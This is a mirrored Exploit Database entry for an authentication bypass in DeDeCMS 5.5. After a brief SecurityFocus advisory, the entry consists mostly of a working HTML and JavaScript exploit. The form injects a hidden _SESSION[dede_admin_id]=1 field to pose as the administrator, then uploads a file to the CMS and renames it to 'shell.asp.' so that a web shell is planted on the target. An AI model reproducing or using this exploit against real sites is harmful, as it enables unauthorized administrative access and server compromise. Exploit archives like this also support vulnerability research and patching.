DeDeCMS 5.5 – ‘_SESSION[dede_admin_id]’ Authentication Bypass

• Exploit Database
• 119 阅读

• 作者： Wolves Security Team
  日期： 2010-03-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/33685/
• 1 2 3 4 5 6 7 8 9 10

  source: https://www.securityfocus.com/bid/38469/info   DeDeCMS is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input.   Attackers can exploit this issue to gain unauthorized access to the affected application.   DeDeCMS GBK 5.5 is vulnerable; other versions may also be affected.   <form action="" method=&apos;POST&apos; enctype="multipart/form-data"> U&nbsp;R&nbsp;L:<input type="text" name="target" size="50" value="http://192.168.1.110">&nbsp;&nbsp; Path:<input type="text" name="path" value="/DedeCmsV55-GBK-Final/uploads/include/dialog/select_soft_post.php" size="90"><br> File:&nbsp;<input type=&apos;file&apos; name=&apos;uploadfile&apos; size=&apos;25&apos; />(Filetype must be GIF/JPEG etc)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RenameTo:<input type=&apos;test&apos; name=&apos;newname&apos; value="shell.asp."/><br> &nbsp; <input type=hidden name="_SESSION[dede_admin_id]" value=1> <input type=hidden name="bkurl" value=1> <input type=&apos;button&apos; value=&apos;submit&apos; onclick="fsubmit()"/><br><br><br><br><br><br> dedecms 0day exp..<br> need: session.auto_start = 1<br> By toby57 2010/2/22 </form> <script> function fsubmit(){ var form = document.forms[0]; form.action = form.target.value + form.path.value; tmpstr = form.target.value +&apos;/&apos;+ form.newname.value; form.bkurl.value = tmpstr.substr(0,tmpstr.length-1); form.submit(); } </script>